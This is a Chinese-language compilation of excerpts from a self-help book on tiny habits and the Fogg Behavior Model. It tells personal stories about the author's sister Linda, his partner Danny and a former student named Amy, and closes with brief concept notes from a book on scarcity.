　　·我能够看出来什么时候工作进展顺利。

　　·我能够通过行为设计来培养积极的生活习惯。

　　看到微习惯策略有助于解决这么棘手的工作场所问题，琳达和我感到很欣慰。但更让我们高兴的是，我们的付出帮助这些医护人员减轻了压力、拥有了更健康的生活方式，让他们能够以更好地状态去服务有需要的人。

　　我自己还收获了一个大惊喜，这和研究数据无关，是因此而形成的一种整体印象：精疲力竭、时间紧迫或不知所措的人们是不可能做出大的改变的，他们甚至都不会去尝试改变。我认为对这些人来说，微习惯就是唯一的现实路径。或许它也是你和你身边之人唯一的现实选择。

改变一切的小改变

　　2008 年，我到阿姆斯特丹参加一场会议，我在上午发表过开幕演讲后，剩下的时间一直在享受难得的闲暇时光，还参加了一场愉快的晚宴。但是，我和同伴离场后，刚回到酒店房间，我的电话就响了。是弟弟发来的一条短信，只有短短几个字：加勒特死了，死于服药过量。我眨眨眼睛，有点不敢相信，于是又看了一眼短信。还是只有短短几个字，却让我痛彻心扉。我知道这是真的，但我第一反应是拒绝，我一遍又一遍重复着：“不……不……”声音越来越大，直至哽咽难言。直到现在，每每提到这件事，我仍然难以开口。

　　加勒特是我姐姐琳达的儿子。加勒特 20 岁的时候，还是个管我叫“BJ”舅舅、看见我就给我一个大大拥抱的小伙子。他是家里最可爱的孩子，每个人都这么认为。他的那些兄弟姐妹都半开玩笑地叫他金童。他很喜欢向日葵，是大胃王比赛的常胜将军，在比赛吃巧克力曲奇饼干时更是能打败所有对手。无数个有关他的回忆涌入我的脑海，随之而来的便是无尽的疑惑。

　　服药过量？他不是已经完全康复了吗？他几个月来一直表现得很好、很清醒，我以为他已经完全好了。到底发生了什么？我和同伴坐在床边，眼中充满了错愕，就这样呆呆地过了几分钟。我们都非常难过。我知道姐姐正在经历她一生中最痛苦的时刻，但我却远在地球的另一端。我收拾好震惊和疑惑的心情，对同伴说：“我们收拾行李回家。现在就走。”他立即起身开始收拾行李。我打电话到前台咨询最快多久能赶到阿姆斯特丹斯希普霍尔（Schiphol）机场。那时候才刚过午夜时分。我们把所有东西一股脑地扔进包里，几分钟后就搭上出租车前往机场，赶上了下一班飞往拉斯维加斯的飞机。

　　琳达是我的姐姐。我对她最早的记忆，是在我大约 3 岁时，她站在我家客厅的一块小黑板前面，我坐在一把小椅子上，听她给我上了极为重要的一堂课：胶带湿了，就没有黏性了。她在黑板上贴了一片干的胶带，又拿出另一片胶带，在水里浸过之后试图也贴到黑板上。当这片湿胶带从黑板上滑落时，琳达说道：“B.J.，你看！”

　　我和姐姐的感情一直很好，这或许是因为她是家里年龄最大的孩子，也或许是因为我们有很多相似之处。我们都热爱学习和教学，而且总能找到帮助他人的方法。或许你已经从我刚才讲述的故事中有所感受，琳达是一个擅长照顾他人的人，她是 8 个孩子的母亲，但她承受了太多的悲剧。

　　我和同伴一收到加特勒去世的消息，就立刻动身返回拉斯维加斯，飞机落地后直奔琳达家。我们到达她家时，我姐姐一家人正在承受难以想象的痛苦。我在加勒特的葬礼上念了悼词，并担任了护柩人。葬礼结束后，亲朋好友聚到琳达家，他们带来了鸡肉砂锅，表达了最真切的哀悼之情。但是有那么一刻，我看见琳达离开厨房走向侧廊。迟疑片刻，我紧跟了过去。走出门外时我才发现，天已经黑透了。姐姐以一种胎儿的姿势靠墙坐着，双腿蜷曲，双臂紧紧抱着自己。她把头埋进双手里，止不住地抽泣着，浑身发抖。我瘫坐在她旁边，搂住她的肩膀，却不知道该说些什么。

　　我们俩就那样坐在那儿。后来，她才告诉我，她当时觉得快要透不过气来，她需要远离人群，远离葬礼，远离那种可怕的缺失感。但走到门廊时，她突然意识到自己无法摆脱这一切。所以，她终于崩溃了。

　　我不仅在儿时深受琳达的照顾，而且长大后，我也总是受到她的照顾。20 世纪 90 年代初，我还在读研究生，那时我谈了一场可能不会被家人认可的恋爱，我告诉的第一个人就是姐姐。我的坦诚，对一名虔诚的有宗教信仰的女性至少在情感上来说，是很复杂且难以说出口的。但对琳达来说，我是她的弟弟，她需要照顾我。所以我也很清楚，那天是时候轮到我陪着她了。在坐下安慰她之前，我心想，无论如何，我都要帮助她。

　　从表面来看，在至亲陷入悲痛时帮助他们，只是一种纯粹而强烈的愿望。但这对我来说却是将影响我职业生涯和生活最终方向的一个振奋人心的时刻。对琳达来说也是如此，事实也证明了这一点。

　　在失去儿子之后的那几年，琳达的生活充满了坎坷：她的丈夫被诊断出患有阿尔茨海默病，而且病情恶化的速度很快，他们的家族企业也惨遭破产。一直以来，我都尽全力在帮助琳达，但终有一天，琳达发现自己迷失在了人生的岔路口。她努力攻读了硕士学位，从事的咨询业务范围遍及全美，还帮助父母学会了应用社交媒体。然而在经历了几年勉强维持生计，又因为四处奔波而和孩子分离的生活后，她已经精疲力竭了，她亟须找到人生的新方向。同样重要的是，我知道她也需要有足够的收入来养家糊口。

　　那时候，我一直在从事微习惯培训工作，每年的学员多达数千人。我那时没有想过要从中赚钱，只是觉得做这些事很有意思，并学到了很多有关人类行为的知识。每天和数百人互动需要花很多时间，而时间是我最稀缺的资源。但即使是在各地旅游或是做演讲时，我都会花时间指导遍布世界各地的人们。我喜欢听到人们用我的方法取得成功的故事。他们会和朋友们介绍微习惯策略，而他们的朋友们又会告诉自己的朋友。就这样，知道的微习惯策略的人越来越多。

　　虽然帮助他人让我每天都感觉很好，但我也开始担心这会占用我太多时间，以至于没有时间去做我真正的学术研究工作。但我就是无法拒绝每星期注册加入我免费计划的那数百人。

　　而现在，琳达需要得到帮助。她非常适合使用微习惯策略。她很了解行为设计（她曾帮助我在斯坦福大学举办工作坊），她是一名好老师，决心投身于健康和保健领域。我觉得，负责培养微习惯策略的教练工作很适合琳达，它能让琳达发挥所长，重燃热情。我也希望这可以成为她的收入来源，而且我本来就打算组建一个专业的团队，帮助我培训所有加入 5 天免费计划的那些人。这是一个既能帮助琳达，又能减轻我的工作负担的好方法吗？

　　是的！但出人意料地是，效果竟然那么好。通过前文的案例，你应该已经知道琳达用微习惯策略做出了巨大的改变。在和她一起指导他人应用微习惯策略的过程中，我亲眼见证她一步一步地改变了人生。这是一件了不起的事情。我看到她掌握了改变的技巧，并因此建立了自信，也看到了这一切彻底改变了她心态的过程。在大约 6 个月的时间里，我看到她帮助其他人改变了他们的生活，同时也彻底改变了她自己的生活。她在进步，在成长，而最重要的是，她的内心重燃希望。

　　在教授人们学习微习惯策略的过程中，我明白了一个道理，这些事情能让人快乐。简单极了。你在帮助人们改变他们的生活，而且每天都能看到一些积极影响，那种感觉很好，它会让你“发光”。在感受良好的状态下，才能做出成效最佳的改变，而琳达就是一个鼓舞人心、闪闪发光的鲜活例证。

　　2016 年的一天晚上，我做了一个梦，在梦里，我身处一架即将坠毁的飞机上。机舱是不是在剧烈颠簸？旁边的人是不是正抓着我的胳膊？人们在尖叫吗？或许吧，我记不清了，我只记得：我知道自己就要死了。但奇怪的是，我并没有感到恐惧或惊慌，那时我脑海中浮现的并不是我人生的那些高光时刻。相反，我内心充满了深深的遗憾—— 我收获的诸多见解就要消逝。痛苦的死亡即将来临之际，我只想到自己未能尽职尽责地向人们宣解行为改变之真相，没能成功帮助数百万人拥有更健康、更快乐的生活。当我醒来意识到这只是一场梦时，心里不禁想：太奇怪了！那就是我在面对死亡时做出的反应吗？于是，我顿悟了：我需要更广泛地推广我的见解，而且要立刻。我需要想办法把这一切带给全世界。多年来，我一直想写书，但总会因其他项目而推迟，至少看起来是这样。我在斯坦福大学管理行为设计实验室，每年开设新课、培训行业创新者，同时也在参与其他 6 个项目。

　　那个梦唤醒了我。以前，我的作品只在很小的领域中为人们所知，而外面的世界也没有我想象的那样触手可及。以前，人们在网上很难搜索到有关福格行为设计的内容。我每天都在教学、在亲身实践，但对象仅限于我在斯坦福大学的学生，以及行为设计训练营的学员，其他所有人就只有在我发表主题演讲或是发推文时，才能知晓些许片段。更糟糕的是，我的那些和人类行为改变有关的框架、图表和创新，都被我装进文件盒和笔记本中，藏在了我书房的壁橱里，成了谁也无法触及的信息。

　　当人们写邮件或打电话向我寻求帮助时，我感到很痛苦。他们的项目都很有价值，当他们问我“怎样才能更多地了解你的工作”时，我只能勉强回答“认真阅读我的 Twitter 文章，以及在网上搜搜我的视频看”。但实际上，我并没有答案，这让我感觉很难过。那时候，我还无法提供任何能将行为设计的模型和方法结合起来的事物，像是秘鲁大学的学生用来设计出更好回收服务的事物；像是帮助区县卫生工作者设计出有效免疫计划的事物；像是家庭可以用来改善生活的事物；像是一本书……

　　那个坠机梦让我意识到，微习惯对我姐姐的帮助，同样可以用于其他人的兄弟姐妹、父母和子女。我知道那些见解可以帮助到因生活所迫而备受挫折的人，以及所有陷入自耻与自责困境的人，所有知道自己想成为什么人、想过什么生活却不知道如何达成所愿的人，所有心存疑虑、觉得无法完成有意义的改变的人。

　　如果在早些年就放弃微习惯，如果我没有下定决心要帮助姐姐，或许我就会错过这个重大的认知：我在斯坦福大学的工作以及和行业领导者的合作固然很重要，但那并不能改变世界，而你可以。

　　我指的并不是那种携手并进的比喻，而是一个事实：你可以改变世界。你现在已经知道，用微习惯策略养成的习惯绝非微小，它们无比强大。

　　习惯可能是改变的最小单位，但也是最重要的单位。它们是螺旋式上升的无数同心圆中，最中间的那一个。请想象一下，一个人养成了一个习惯，然后是两个习惯、三个习惯……他的身份也会随之发生改变，而这也激发了家人的改变，进而又影响身边的同龄人，改变了他们的心态。最初的那个习惯就像野火一般蔓延，打破了无能为力的文化，为所有人赋能，并逐渐改变世界。从自己和家人开始，从小处着手，你开启了一个可以掀起改变浪潮的自然进程。

其他摘录

　　我也曾想过，如何通过扭转如今无处不在的失败螺旋，在改变世界的过程中发挥作用。如果准确的行为模型和有效的改变方法成为常识和惯例，那会怎样？改变将潜力无穷。小孩子也将学会“发光”，并将它融入自己的人生。世界各地的医护工作者可以学会如何帮助病患成功养成健康习惯，还可以用相同方式帮助自己更有效地管理压力。在企业里，若能换个视角，把业务挑战当作行为改变来看待，就可以提高例会的效率。创新者可以将行为设计用于创造产品，帮助人们成就最好的自己。政府也可以更轻松地将抽象问题转化为具体行为，然后再授权社区自行创建和施行解决方案。

　　这幅未来愿景或许还要很久才能实现，但好消息是我们现在就可以开始培育改变的文化。引发这种连锁反应的最快方法之一，就是向别人介绍行为设计的思维和方式。这是你今天晚餐时就能做到的事情，和你的朋友或家人讲讲你在这本书里学到的东西就行了。群体改变的根基就在于对改变形成一种共同的理解。当你能够准确地从一个共同视角去理解问题时，也就能更快更成功地解决这个它了。行为设计很擅长这一点。工作团队学会了福格行为模型，就掌握了思考行为、探讨改变的一种共享方式。学会这些方法，也就学会了在具体的现实层面上设计改变的共享方式。同样重要的是，它可以让他们变得更高效、更有影响力，并能减少冲突，从而避免浪费宝贵的时间。在你的帮助下，你圈子里的每个人都可以分享有关于人类行为如何运作的观点，并从设计改变的方式中获益。

　　用《福格行为模型》的思考框架，其实可以把闺蜜的吐槽大会、领导对团队的大肆指责、家长对孩子的不满唠叨，转化为服务性的具体帮助。我听过无数家长对孩子咆哮：“你能不能认真一点！”好几次，我都把孩子拉到一边，问他：“你妈妈说让你认真，你知道具体是要你做什么吗？”几乎所有孩子都摇头表示不知道。这是一个弱者对强者的本能式顺从，而作为弱者的孩子，在家长的情绪宣泄中并没有得到帮助，他不知道如何改变。

　　要想设计出成功的习惯并改变自身行为，你需要做到 3 件事：

　　·停止自我批评；

　　·把你的愿望拆解成微行为；

　　·将每一次错误当成是一种新发现，并利用它们不断改进。

　　本书将帮助你摆脱改变所带来的焦虑，更重要的是，无论现在的你和理想的你之间有多大的差距，它都能帮助你以一种轻松愉快的方式跨越这个差距。 《福格行为模型》将指引你打破旧方法，拥有一个全新的改变系统。

　　这套系统是我多年研究的成果，其间我不断改进，并亲自指导 4 万多人进行了实践验证。我可以负责任地说，微习惯策略对培养新习惯极其有效。它用经过实践验证的原则替代了错误观念，用具体流程替代了笼统建议。Instagram 联合创始人曾是我的学生，他学会了用户行为设计并创造出一个全新 App，你也能用同样的方法来帮助自己以及别人实现人生的突破性改变。最棒的是，你能乐在其中。只要摒弃那些主观判断因素，改变行为就成了科学实验。拥有探索和发现的意识是成功的前提，而不只是意外的收获。

　　这些结果让我很欣喜，于是我从 2011 年开始向别人教授我的方法。我的研究表明，这种方法也适合其他人，并且成功改变了他们的生活。令我感到既惊讶又激动的是，这一开始只是行为设计领域的一次异想天开的自我探索，没想到却促成了一个名为“微习惯”的有效策略—— 一套最高效、最便捷的个人提升工具。

　　在继续下面的内容之前，我想先澄清一个事实：仅有信息是无法保证有效改变行为的。人们经常犯这种错误，即使是用心良苦的专家也不例外。他们的想法是：如果我们能为人们提供正确的信息，就能改变人们的态度，进而改变人们的行为。我将这种观点称为“信息–行动谬误”（Information-Action Fallacy）。很多产品和计划以及那些用心良苦的专家都试图以教育的方式去改变人们。那些专家会在专业研讨会上发表这样的言论：“只要人们能认清事实，他们就会做出改变。”

　　当你使用行为设计和微习惯策略时，你可以相信，自己就是在帮助他人取得成功。在帮助他人完成改变的过程时，福格原则可以成为你的向导：

　　·福格原则 1，帮助人们做他们已经想做的事；

　　·福格原则 2，帮助人们感受成功。

　　如果你正在帮助伴侣、同事、老板、客户或孩子完成他们想做的事情，那你很可能已经站在了坚实的道德基础上。帮助他人感受成功从来都不是一件坏事。如果你对你试图帮助他人实现的改变感觉良好，那么你就已经做好准备了。

　　一个人做出某种行为时的感受和他未来再重复该行为的概率，两者之间存在直接关联。

　　好消息是，我们在神经化学方面的研究表明，通过应用我们对大脑功能的一切所知，就能帮助大脑对好的习惯进行编码。怎么做？通过有意地创造积极的感受，并将其融入我们真正想拥有的习惯。当我们侵入大脑里的行为路径时，就打开了通往人类关于学习和改变的惊人潜能的大门。我们有机会使用大脑机器，去感受美好，改变行为。

　　融入习惯的正向强化方法有很多种，但我在研究和教学过程中发现，创造成功感觉是最有效的方法之一。

　　在第 2 章，我介绍了福格第一原则：帮助人们做他们已经想做的事。这一原则非常重要，因为它反映了很多成功的产品和服务所拥有的共性：帮助人们做到了早已想做的事。若非如此，产品或服务就不会受到市场的欢迎。我将这个领悟应用于帮助个人改变其自身行为上，效果也很好，因为成功的习惯源于帮助自己做早已想做的事。只要遵循福格第一原则并找到匹配的黄金行为，我们就能轻轻松松地调整动机，摆脱动机猴子，转而创造持久改变。

　　是时候分享福格原则 2：帮助人们感受成功。它跟原则 1 同样重要。原则 2 仅由 4 个词组成，却至关重要。这一原则并不是说帮助人们“获得成功”，而是“感受成功”。如今，那些发展迅速的产品或服务在这方面都做得很好。它们帮助我们感受到了成功。如果你观察一下自己喜爱的那些产品和服务，从在线购物平台到服饰、装饰品，再到日常使用的导航软件、社交软件和游戏软件，你会发现自己从这些产品和服务中收获了一种成功的感觉。

　　终有一天，庆祝会与正念和感恩一样，成为提升幸福感的日常行为。如果你只能从这本书里学到一样东西的话，我希望是：为你的微小成功而庆祝。即使你觉得自己一时之间还无法摆脱困境，生活中的小小改变也能够产生巨大的影响力。庆祝可以成为你的救生绳。

　　成功的大小并不那么重要。当你因为某事而感受到成功时，即便是非常微小的成功，你的自信心也会迅速增强，再次执行习惯、做出相关行为的动机也随之增强。

　　舒适区边界不是一条直线，它更像是股市走势图中起起伏伏的线条。只要你坚持执行新习惯，就永远都能移动舒适区边界，但不要事先设想太多。专注于当前的舒适区边界，这样你才能做出最英明的抉择。

　　考虑习惯问题的一个好方法是将它们分为 3 类：上山型习惯、下山型习惯和自由落体型习惯。我所指的是所有习惯，包括好习惯和坏习惯。

　　·上山型习惯是需要努力维持但很容易中断的那种习惯，如闹铃一响立刻起床、去健身房健身或每天进行冥想。

　　·下山型习惯是容易维持但难以停止的那种习惯，如睡懒觉、说脏话、刷 YouTube。

　　·自由落体型习惯是像药物滥用之类的习惯，除非求助专家，否则很难停止。

　　如果你曾听从误导性建议来打破习惯，结果却没有成功，那么这不是你的错。你只是被灌输了有缺陷的思维和做法，因而陷入挫败和举足不前的循环。其次要记得：你可以用一种更聪明、更有效的方式来设计出你想要的改变。这正是我为你撰写本章的原因。

　　现在我要澄清一个事实：坏习惯和好习惯的基本要素并没有本质性不同，行为就是行为，它始终是动机、能力和提示这 3 大要素同时作用的结果。你要承认这一点。

　　有一个非常有趣的关于降低动机的案例，它发生在我以前的学生特里斯坦·哈里斯（Tristan Harris）身上。他呼吁人们停止无节制地使用电子产品。他说，有一种办法是把手机屏幕设置成灰度。因为，当屏幕上的色彩不再鲜艳时，那些五花八门的网络信息就不会对大脑产生较大的刺激，让大脑兴奋起来。

　　排除障碍指南：如果你会忘记执行新习惯，那么你可以反复演练几次替换和庆祝的过程，在脑海中想象也可以，以强化旧提示和新习惯之间的联结。

　　行为设计不只是为了减肥或是在晚餐时放下手机，它是为了创造改变，以及向着成就更好的自我的方向持续探索。

　　在家庭中应用福格行为模型时，可以请家人来帮助你。在长期的家庭生活中，家务问题往往会让人们产生争执。我和我的伴侣丹尼对做家务的看法就很不一样，我觉得“差不多就好”，而丹尼认为“需要给房间彻底消毒”。于是，清洁浴室变成了一个大麻烦。丹尼无法忍受家里有霉菌，但我们的浴室排水系统不好，你肯定也猜到了，这样很容易产生霉菌，所以他一直都要求我用完浴室后要清理干净。但大多数时候我都没有照做。事实上，我极少这样做。

　　有一天，丹尼要我和他一起去浴室看看，接下来他所做的一切展示出了行为设计的真谛。“我们都希望浴室保持干净”，他说。我同意。他看出我有一些打扫浴室的动机。于是，他接下来问的问题跟能力相关。他问我：“清理浴室有什么困难吗？”我说我不明白他的要求具体是什么意思，是要我用浴巾还是用拖把清洁地面？应该清洁墙面吗？丹尼这时顿悟了，他没有说清楚他到底想要什么，抽象行为对我来说实在太难做到了。而他接下来的做法既聪明又简单。他向我演示了一遍具体要做的事。他带我走进浴室，然后说道：“好吧，你关闭淋浴器后（提示），把浴巾从架子上拿下来，把它放到地上，像这样踩着拖几下，接着再把浴巾扔到脏衣篮里就好了。”丹尼展示的动作很简单，这让我觉得自己像个傻瓜，这么简单的事情都没做到。这一切只需 10 秒。看他展示完具体要做的事情之后，我对任务难度的感知发生了变化，突然就觉得这件事很容易做到。

　　自从丹尼演示过后，我每天都会清理浴室。为什么呢？首先，我本来就想让浴室保持整洁，也希望让他开心。所以我已经有了一些动机，但却觉得这很难做到。在他演示之后，我才发现清理浴室很容易，这个行为立刻就到了行动线上方的位置。长话短说，现在的情况是：我知道自己不擅长做家务，所以我会说“演示给我看你希望我做什么”。他演示完，我的能力也就增强了。

　　以上是关于在他人身上如何应用福格行为模型的一些示例。

　　过去 20 年来，我发现可以促使一个人做出重大改变的唯一一个始终稳定且可持续的方法，就是从小改变着手。我以前的一个学生埃米曾是一位全职妈妈，她想创办一家教育媒体公司。自己做老板、做自己想做的事，这让她觉得很兴奋。但她需要考虑的事情实在太多了，比如招聘员工、寻找办公场地、了解税法等。而且，她习惯先处理自己喜欢的工作，比如设计公司商标，但是在重要的事情上却拖拖拉拉。这样的习惯使她没有足够的时间来制订商业计划，而且她因为害怕创业失败而逐渐失去了勇气。埃米想让自己的生意起步，她一直想先处理一些大问题，但如此说了好几个月，她还是没有开始行动。

　　“要么做到最好，要么干脆不做”这种普遍存在的观念，导致埃米踌躇不前。我们生活在一种欲望驱动型的文化中，崇尚即时满足，很难做到甚至接受循序渐进，但这恰恰是培养有意义的长期改变所需的品质。如果不能立刻取得期望的结果，人们就会感到灰心丧气。这很正常，但很有可能会导致失败。

　　当埃米接触到微习惯策略时，她发现，吃掉“大鲸鱼”的最佳方法就是效仿绘本大师谢尔·希尔弗斯坦（Shel Silverstein）诗中的那个小女孩梅琳达·梅（Melinda Mae）采取的做法—— 一次咬一小口。于是，埃米决定抛开“要么做到最好，要么干脆不做”的想法，开始从小事做起。她每天早上把女儿送到幼儿园后，都会把车停在路边，在便利贴上写下一条待办事项，只写一条，而且是回家后可以立刻完成的，比如发一封销售电邮、安排一个项目会议、起草一份就医指南等。专心写下一项任务这个简单的举动带来了连锁反应，推进了她一整天的工作，并最终促使她的公司成功开业。开车回家时，看着方向盘上贴着的便利贴，那种成功感也一路伴随。回到家把车停好后，她拿起那张粉色的便利贴便立刻进入房间，想迅速取得成功。

　　一个小举动或一次一小口，一开始可能显得微不足道，但却可以让你获得充足的动力去迎接更大的挑战，加速取得进展。没多久，你就已经“吃掉了整条鲸鱼”。

　　在本书中，我不会列出具体习惯，我只是分享了一套微习惯策略，它可以帮助你培养任何你想要的习惯。请你自己选择你的习惯。不过，在这里我想先破例一次，请你开始一个新习惯，每天早晨起床后要做的第一件事就是练习它。这个新习惯很简单，只需大约 3 秒就能完成。我称之为“毛伊习惯”（Maui Habit）。请你每天早晨一起床就立刻说出这句话：“今天又是美好的一天！”并在说出这句话的同时，尽量去感受乐观和积极的心态。

　　多年来，我已经帮助过成千上万的人将毛伊习惯融入生活，成效卓著，我自己也获益匪浅。通过毛伊习惯，你几乎可以毫不费力地立即迈向更好的未来。

　　你也可以对毛伊习惯稍做调整。有些人说的话会不同，如“今天会是很棒的一天”。如果你觉得其他话语的效果更好，或其他动作的效果更好，可以根据自己的需要来调整。有些人改变了说出这句话的时间；有些人改变了地点，比如在早上照镜子时说出这句话。照镜子这种方式对我来说是没有效果的，因为我起床后会尽量避免先照镜子。但如果你每天早晨起床后会立即去照镜子，那你可以选择这种方式。不过，我建议你先从配方卡片上的常规方式开始行动，后续再根据自己的需要做调整。

　　我每天早上做毛伊习惯训练时，都会在说完“今天又是美好的一天”这句话后停顿两三秒，这是因为我还没有完全清醒，我需要时间来消化它。如果你在进行毛伊习惯的训练时，觉得“今天不会是美好的一天”，我建议你仍然要把“今天又是美好的一天”这句话说出来。我有时会对新的一天感到疲累、不知所措或忧心忡忡，但我也没有中断过说出那句话。那一刻，我会坐在床上努力地去感受乐观的心态。但如果我实在是觉得这种暗示有些虚伪，我就会调整内容和语调，比如：“不管怎样，今天又是美好的一天。”

　　我发现这对提振心情非常有帮助，即使在我心情最糟糕的时候也是如此。当我对新的一天充满焦虑时，即便声音中带着迟疑，这句话似乎也为我推开了一扇门，虽然只是露出了一条缝隙，但为让我拥有美好的一天带来了可能性。事实上，在多数情况下，它确实让我拥有了美好的一天。

　　请把毛伊习惯想象成每天早上 3 秒钟即可完成的简单练习。它能让你了解到开始改变是非常容易的，而且能帮助你学会行为改变最重要的技能—— 感受成功。

　　在福格行为模型的 3 个要素中，动机是最不可预测和最不可靠的。如果你以前只关注动机，那么现在，我希望你能够理解，想获得持久的改变，仅靠动机是不够的，因为你多半无法维持它，也可能无法对它进行可靠的操作或设计。你要明白，这不是一种性格缺陷，而是人的本性。不要掉进动机猴子的陷阱，你必须想方设法绕开它们。

　　如果你还没开始行动，那现在是时候了。在云朵上写下你选出的愿望。然后，想象你有一根魔法棒，它可以帮助你做出任何行为。那么，你想要做什么呢？

　　行为设计强调了这样一个事实：持久改变的关键，在于为自己匹配真心想做的行为。举例来说，如果你想每天运动，那有很多做法可以选择。比如，在早餐时间边听碧昂斯的歌曲边跳 5 分钟舞，就是你想做的运动，那你可以养成每天跳舞的习惯。而去健身房运动可能不太适合你，忘了它吧。

　　我的行为设计方法与其他方法最大的不同，就在于我的方法能让你聚焦于你已经有动机去培养的习惯。在行为设计方法中，动机早已深深地嵌入新习惯，因此，你不用再千方百计地去强化它。而在其他方法中，你可能需要格外努力，才能坚持你觉得自己应该培养的习惯，而且往往效果不太好。

　　要想进行持久改变，匹配自己想做的行为至关重要，所以，这一步在我的行为设计中拥有特殊地位，而其中的关键是遵循：福格原则 1，即帮助人们做他们已经想做的事。

　　参加过我的行为设计培训的很多专业人士，都认为这一原则改变了他们的“游戏”规则。当你去做你早就想做的事情时，它也会改变你的“游戏”规则。

　　通过行为设计匹配的新习惯，是我们在最忙碌、最没动力且状态最不好时，也能做到的行为。如果你觉得自己在最累的时候也能做到这个行为，那它可能和你非常匹配，甚至是一个黄金行为。

　　关于拖延，请牢记一点：对困难的感知和实际的困难程度一样重要。一件事只要一天没有完成，就会让你多惦记一天，而且会让你感觉它越来越难。

　　生活中的提示有很多是我们不想要的，但也有很多我们想要的。大多数人总是听从自然而无形的提示，却又拼命地想提醒自己去做一直忘记的事情。如果你的办公桌上贴满了便利贴、手机上不停地弹出待办提醒，你却还是没有去做想做的事情，那么，也许你需要关闭提示功能。

　　大约 7 年前，埃米生活得很辛苦，她既要照顾 3 个小孩，又想创业，还想当一名教育媒体自由写手。她热爱为医院和医生起草就医指南的工作，但创业却一拖再拖，没有行动。一向乐观的埃米，开始对未来感到迷茫而且充满忧虑。她晚上也睡不好，总是患得患失。每个创业者都会为如何让业务顺利发展而焦心，这很正常。但这不是埃米真正害怕的，她真正害怕的是比这更糟糕的事情：和孩子们分开。

　　多年来，埃米和丈夫的关系一直不太和睦，最近更是前所未有的紧张。他们的争吵越来越激烈，埃米知道这种环境对孩子们的身心健康是很不利的。她想离婚，而且她觉得丈夫也有同样的想法。离婚是一件很痛苦的事情，而更痛苦的是离婚带来的后果。这么多年来，她一直很看重丈夫的优良品质——脾气好又大方，还很支持她的事业。但现在，她感觉自己已经没办法化解他们之间的分歧和敌视，两人只能渐行渐远。她一直忽视的丈夫的缺点，如今让她彻夜难眠。她很害怕一旦离婚，丈夫的行为会带来自己无法接受的后果。埃米感觉离婚可能是一个错误的选择。她知道离婚会把孩子们卷入这场争斗，到那时，没有稳定收入的自己很有可能会失去孩子的监护权。

　　埃米很爱自己的孩子，一想到要和孩子们分开，她就有些崩溃。如果没有稳定的收入，她最害怕的噩梦就会成真。埃米担心丈夫会用尽一切手段来争夺孩子们的监护权，而自己能采取的唯一方法，就是聘请律师，并在丈夫提起离婚诉讼前改善财务状况。然而，埃米不知道如何才能增加业务收入，所以只能止步不前。

　　对岌岌可危的婚姻的担忧，以及养育 3 个孩子带来的与日俱增的压力，让埃米难以集中精神。她有许多必须做的事，包括回电话、发展新业务和努力工作，但她就是无法让自己行动起来，去做那些重要的事情。每天早上，埃米都很努力地让自己进入工作状态，但大多数时候，她最后都没能去做那些能增加收入的要事，而是忙于整理衣服、打扫厨房，或重新制定待办清单等杂事。她也会做一些清单上的任务，但那都是些容易做且无关紧要的事情。埃米想得太多，却做得太少，最终，她一个重要的事情都没有完成。存款没有增加，孩子们的未来保障也没有进展。在了解了行为设计和微习惯策略之后，埃米终于找到了解决办法：每天要在便利贴上写下一件事——当天需要完成的最重要的一件事，仅此而已。

　　这就是她的新习惯。埃米逐渐变得自信和乐观，她觉得自己每天都做得到。毕竟，她又不需要真的完成这件事，只要把它写下来就够了。这很简单，而且能力也不是问题。不过，养成这个习惯的关键，不在于动机和能力，而在于要设计一个“对”的提示。

　　对某些习惯来说，关键是要把它插入生活中的合适位置。习惯在生活日常中处于什么位置，决定了行动与否、成败与否。埃米很幸运，她第一次尝试就做对了，她把新习惯的种子种在了对的位置。她的做法是这样的：每天早上送女儿瑞秋到幼儿园门口时，瑞秋都会和她说完再见，再关上车门。关车门就是埃米的提示。她会立刻在附近找地方停车，好执行新习惯：在便利贴上写下当天最重要的事情。之后，再把便利贴贴在方向盘上，然后拍手说：“搞定！”

　　这样坚持了一星期后，埃米说她可以毫不费力地自动完成这个新习惯。她在自己的日程中为习惯找到了一个最佳位置。以前，在女儿下车之前，埃米一路上想的都是每个人准时出门所要做的难事；而现在，因为把写便利贴的习惯当成与工作相关的第一件待办事项，所以她不会再分心去胡思乱想。她还把这个行为当作入门步骤，来帮助自己保持高度专注。车门一关，立刻切换到工作模式：停车，确认今天要做的最重要的事务，把它写下来，搞定。（这太棒了！）由于将新习惯固定在了生活日常中，所以这很容易就融入了她早晨的日程。埃米不再需要靠手机来提醒她该送瑞秋上学了，也不需要刻意提醒自己该写便利贴了。埃米设计出了一个可靠的提示，让这个新习惯很自然地养成了。

　　这个简单的习惯给生活带来一种清晰感，这让埃米十分高兴。她知道，这确实是一个很小的动作，但那种专注和成功的感觉就像滚雪球一样，让这个小动作越滚越大，变成了更大的动作。她在这第一个习惯的基础上建立起了其他习惯。送完瑞秋回到家后，埃米会立即前往办公室，把便利贴贴在办公桌前的那面墙上。

　　偶尔，埃米也会完不成最重要的任务，但大多数时候她都做到了。在自豪感和成就感的激励下，她创建了一系列待办事项，同时由于黄金行为已经成为稳固的习惯，埃米的效率大幅提高，已经高到超出了她的想象。一路走来，埃米的恐惧感已逐渐消散。终于有一天，她放声地呼喊：“哇！我真的有在行动。我能做到！”而且，她一直在继续前行。

　　从一张小小的便利贴开始，最终制造了一场效率大爆发。埃米意识到自己满怀着巨大的激情和渴望，想要扩大业务规模，发展壮大个人业务，创立策略与内容创作代理公司。她找到了“对”的提示，打破了僵局，在她完成编写新项目建议书的时候，曾被压抑着的那些雄心壮志全都回来了。一家大型医疗保健公司要她为一个百万美元项目写建议书，埃米丝毫没有迟疑。虽然她得招人来协助自己，但之前几个月的成功经历，让她已不再怀疑自己。埃米后来告诉我，正是她在推介会上表现出来的自信让她赢得了这个项目。半年后，埃米离婚了。她的收入翻了 3 倍。更重要的是，她获得了孩子们的监护权，这让她每晚都能安然入睡。

稀缺：我们是如何陷入贫穷与忙碌的

概念

专注红利（focus dividend）

　　稀缺会自动将干扰和诱惑等因素推至一旁，让我们做到凭一己之力很难做成的事情。

管窥（tunneling）

　　专注于某一事物就意味着我们会忽略其他事物，也叫“隧道视野”。

　　专注于某一事物就意味着我们会忽略其他事物。想必我们都有过这样的体会：当我们沉浸在一本书或一部电视剧中时，身旁朋友提出的问题我们往往会充耳不闻。可见，专注同时也会将其他事物排除在外。所以，我们可以说稀缺令人“专注”，也可以说稀缺导致我们有了“管窥”之见——只能一门心思地专注于管理手头的稀缺。

